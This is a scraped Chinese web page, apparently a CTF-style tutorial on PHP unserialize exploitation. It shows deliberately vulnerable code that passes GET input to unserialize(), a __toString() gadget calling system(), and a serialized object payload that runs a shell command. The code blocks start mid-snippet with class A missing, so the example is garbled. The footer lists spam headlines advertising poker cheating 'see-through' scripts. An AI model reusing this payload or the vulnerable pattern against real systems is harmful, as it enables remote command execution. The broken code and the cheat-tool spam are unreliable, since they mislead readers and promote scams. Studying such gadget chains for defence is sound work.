【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

透视辅助"wepok... 透视辅助"wepoker插件功能辅助器(底牌透视脚本)wepoker轻量版透视"本来是有挂1、操作简...
透视智能ai！wpk刷入池率脚... 透视智能ai！wpk刷入池率脚本，（wpK透视）果然真的是有挂（详细模拟器）；1、wpk刷入池率脚本...
透视脚本！wepoker提高好... 透视脚本！wepoker提高好牌率，wepoker辅助是真的假的（透视确实真的是有挂）暗藏猫腻，小编...
透视脚本！aapoker怎么设... 透视脚本！aapoker怎么设置提高好牌几率，aapoker透视插件，力荐教程（原来是真的有挂）1、...
透视教学！wepoker黑侠破... 透视教学！wepoker黑侠破解（WEPOKER国外版）辅助（好像是有挂）；wepoker黑侠破解辅...
透视总结！wpk有辅助器吗，（... 透视总结！wpk有辅助器吗，（wpK免费）如何下载透视版（都是是真的有挂）运wpk有辅助器吗辅助工具...
透视安装！wepoker一直输... 透视安装！wepoker一直输的号能继续打吗，（WePoKer免费）一直真的是有挂（详细透视有用）1...
透视脚本！aa poker辅助... 透视脚本！aa poker辅助，aapoker怎么设置抽水，第三方教程（都是是真的有挂）；1、aap...
透视实锤"wepok... 透视实锤"wepoker怎么下载游戏(底牌透视脚本)如何下载wepoker安装包"都是真的有挂；1、...
透视新版！wpk辅助器是真的吗... 透视新版！wpk辅助器是真的吗，（WPK软件）果然存在有挂（详细免费辅助）1）wpk辅助器是真的吗辅...